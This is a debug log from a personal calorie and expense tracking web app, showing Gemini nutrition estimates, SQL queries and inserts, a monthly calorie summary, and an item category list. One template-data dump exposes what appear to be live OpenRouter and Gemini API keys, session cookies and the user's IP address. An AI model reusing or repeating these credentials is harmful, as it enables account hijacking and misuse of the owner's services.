    carbs_gm: 30,
    fat_gm: 1,
    quantity: '1 serving (approx 100g cooked)',
    replacements: 'Zucchini noodles,Shirataki noodles,Whole wheat pasta (slightly more fiber, similar calories)',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 2,
    skip_reason: 'Provides carbohydrates for energy, but refined semolina can be replaced with whole wheat for more fiber and sustained energy. For muscle development, carbs are important, but quality matters.'
  },
  {
    id: 482,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Matar (Green Peas)',
    calories: 40,
    protein_gm: 3,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: 'Mixed with pasta (approx 50g)',
    replacements: 'Spinach,Broccoli,Cauliflower',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Good source of fiber, vitamins, and some plant-based protein. Excellent addition to a meal.'
  }
]
2025-12-22T05:49:10.647Z server-connect:app Executing action step setvalue
2025-12-22T05:49:10.647Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-22T05:49:10.647Z server-connect:output var_total: 425
2025-12-22T05:49:10.647Z server-connect:app Executing action step setvalue
2025-12-22T05:49:10.647Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-22T05:49:10.647Z server-connect:output var_consumed: 18
2025-12-22T05:49:10.647Z server-connect:app Executing action step setvalue
2025-12-22T05:49:10.647Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-22T05:49:10.647Z server-connect:output var_deficit: 1975
2025-12-22T05:49:10.647Z server-connect:app Executing action step custom
2025-12-22T05:49:10.648Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-22T05:49:10.649Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '425',
    surplus_or_deficit: '1975',
    status_flag: 2
  }
]
2025-12-22T05:49:11.181Z server-connect:app Executing action step identify
2025-12-22T05:49:11.181Z server-connect:app options: { provider: 'security' }
2025-12-22T05:49:11.182Z server-connect:output identity: 1
2025-12-22T05:49:27.868Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-22T05:49:27.869Z server-connect:app Executing action step identify
2025-12-22T05:49:27.869Z server-connect:app options: { provider: 'security' }
2025-12-22T05:49:27.869Z server-connect:output identity: 1
2025-12-22T05:49:27.869Z server-connect:app Executing action step restrict
2025-12-22T05:49:27.869Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T05:49:27.869Z server-connect:output restrict: undefined
2025-12-22T05:49:27.870Z server-connect:app Executing action step processWithGemini
2025-12-22T05:49:27.870Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-22T05:49:29.912Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Tea (small cup)',
      quantity: '1 small cup (approx 120ml)',
      calories_consumed: 2,
      total_calories: 2,
      protein: 0.2,
      carbs: 0.5,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Generally low in calories, especially if unsweetened. Can be a good source of antioxidants.'
    },
    {
      food_name: 'Green Tea',
      quantity: '1 cup (approx 240ml)',
      calories_consumed: 2,
      total_calories: 2,
      protein: 0.5,
      carbs: 0.5,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Extremely low in calories and rich in antioxidants. Excellent for overall health and muscle development goals.'
    }
  ],
  total_macros: {
    protein: { value: 0.7, unit: 'g' },
    carbs: { value: 1, unit: 'g' },
    fat: { value: 0, unit: 'g' }
  },
  total_calories_all_items: 4
}
2025-12-22T05:49:42.601Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-22T05:49:42.601Z server-connect:app Executing action step identify
2025-12-22T05:49:42.601Z server-connect:app options: { provider: 'security' }
2025-12-22T05:49:42.601Z server-connect:output identity: 1
2025-12-22T05:49:42.601Z server-connect:app Executing action step restrict
2025-12-22T05:49:42.601Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T05:49:42.602Z server-connect:output restrict: undefined
2025-12-22T05:49:42.602Z server-connect:app Executing action step processWithGemini
2025-12-22T05:49:42.602Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-22T05:49:45.809Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Milk Tea',
      quantity: '1 small cup (approx 150ml)',
      calories_consumed: 75,
      total_calories: 75,
      protein: 3.9,
      carbs: 7.5,
      fat: 3.9,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: 'Contains sugar and milk, which add calories. While not terrible, for muscle development, focusing on protein and complex carbs is better. Can be enjoyed in moderation.'
    },
    {
      food_name: 'White Sugar',
      quantity: '1 spoon (assuming 1 teaspoon, approx 4g)',
      calories_consumed: 16,
      total_calories: 16,
      protein: 0,
      carbs: 4,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 3,
      skip_reason: 'High in empty calories, provides no nutritional value, and can contribute to sugar crashes. For muscle development, these calories are better spent on nutrient-dense foods.'
    },
    {
      food_name: 'Green Tea',
      quantity: '1 cup (approx 240ml)',
      calories_consumed: 2,
      total_calories: 2,
      protein: 0.5,
      carbs: 0,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent choice. Very low in calories, rich in antioxidants, and can aid metabolism. No reason to skip.'
    }
  ],
  total_macros: {
    protein: { value: 4.4, unit: 'g' },
    carbs: { value: 11.5, unit: 'g' },
    fat: { value: 3.9, unit: 'g' },
    calories: { value: 93, unit: 'kcal' }
  }
}
2025-12-22T05:49:50.426Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-22T05:49:50.426Z server-connect:app Executing action step identify
2025-12-22T05:49:50.426Z server-connect:app options: { provider: 'security' }
2025-12-22T05:49:50.427Z server-connect:output identity: 1
2025-12-22T05:49:50.427Z server-connect:app Executing action step restrict
2025-12-22T05:49:50.427Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T05:49:50.427Z server-connect:output restrict: undefined
2025-12-22T05:49:50.427Z server-connect:app Executing action step condition
2025-12-22T05:49:50.427Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-22T05:49:50.427Z server-connect:app Executing action step repeat
2025-12-22T05:49:50.427Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-22T05:49:50.428Z server-connect:app Executing action step insert
2025-12-22T05:49:50.428Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-22T05:49:50.429Z server-connect:output calories: { affected: 1, identity: 483 }
2025-12-22T05:49:50.429Z server-connect:app Executing action step insert
2025-12-22T05:49:50.429Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-22T05:49:50.430Z server-connect:output calories: { affected: 1, identity: 484 }
2025-12-22T05:49:50.430Z server-connect:app Executing action step insert
2025-12-22T05:49:50.430Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-22T05:49:50.431Z server-connect:output calories: { affected: 1, identity: 485 }
2025-12-22T05:49:50.431Z server-connect:output repeat: [ {}, {}, {} ]
2025-12-22T05:49:50.431Z server-connect:output condition: undefined
2025-12-22T05:49:50.634Z server-connect:router Serving templateView /calorie-tracker
2025-12-22T05:49:50.634Z server-connect:app Executing action step identify
2025-12-22T05:49:50.634Z server-connect:app options: { provider: 'security' }
2025-12-22T05:49:50.635Z server-connect:output identity: 1
2025-12-22T05:49:50.635Z server-connect:app Executing action step restrict
2025-12-22T05:49:50.635Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T05:49:50.635Z server-connect:output restrict: undefined
2025-12-22T05:49:50.635Z server-connect:router Render template layouts/main
2025-12-22T05:49:50.635Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T03:42:10.843Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-22T05:49:50.834Z server-connect:app Executing action step identify
2025-12-22T05:49:50.834Z server-connect:app options: { provider: 'security' }
2025-12-22T05:49:50.834Z server-connect:output identity: 1
2025-12-22T05:49:51.240Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-22T05:49:51.241Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-22T05:49:51.242Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-22T05:49:51.243Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-22T05:49:51.243Z server-connect:app Executing action step identify
2025-12-22T05:49:51.243Z server-connect:app options: { provider: 'security' }
2025-12-22T05:49:51.243Z server-connect:output identity: 1
2025-12-22T05:49:51.243Z server-connect:app Executing action step restrict
2025-12-22T05:49:51.243Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T05:49:51.244Z server-connect:app Executing action step identify
2025-12-22T05:49:51.244Z server-connect:app options: { provider: 'security' }
2025-12-22T05:49:51.245Z server-connect:output identity: 1
2025-12-22T05:49:51.245Z server-connect:app Executing action step restrict
2025-12-22T05:49:51.245Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T05:49:51.245Z server-connect:output restrict: undefined
2025-12-22T05:49:51.245Z server-connect:app Executing action step select
2025-12-22T05:49:51.245Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-22T05:49:51.246Z server-connect:app Executing action step identify
2025-12-22T05:49:51.246Z server-connect:app options: { provider: 'security' }
2025-12-22T05:49:51.246Z server-connect:output identity: 1
2025-12-22T05:49:51.246Z server-connect:app Executing action step restrict
2025-12-22T05:49:51.246Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T05:49:51.247Z server-connect:output restrict: undefined
2025-12-22T05:49:51.247Z server-connect:app Executing action step single
2025-12-22T05:49:51.247Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-22T05:49:51.248Z server-connect:app Executing action step identify
2025-12-22T05:49:51.248Z server-connect:app options: { provider: 'security' }
2025-12-22T05:49:51.248Z server-connect:output identity: 1
2025-12-22T05:49:51.248Z server-connect:app Executing action step restrict
2025-12-22T05:49:51.248Z server-connect:app options: { provider: 'security' }
2025-12-22T05:49:51.248Z server-connect:output restrict: undefined
2025-12-22T05:49:51.248Z server-connect:app Executing action step single
2025-12-22T05:49:51.248Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-22T05:49:51.250Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
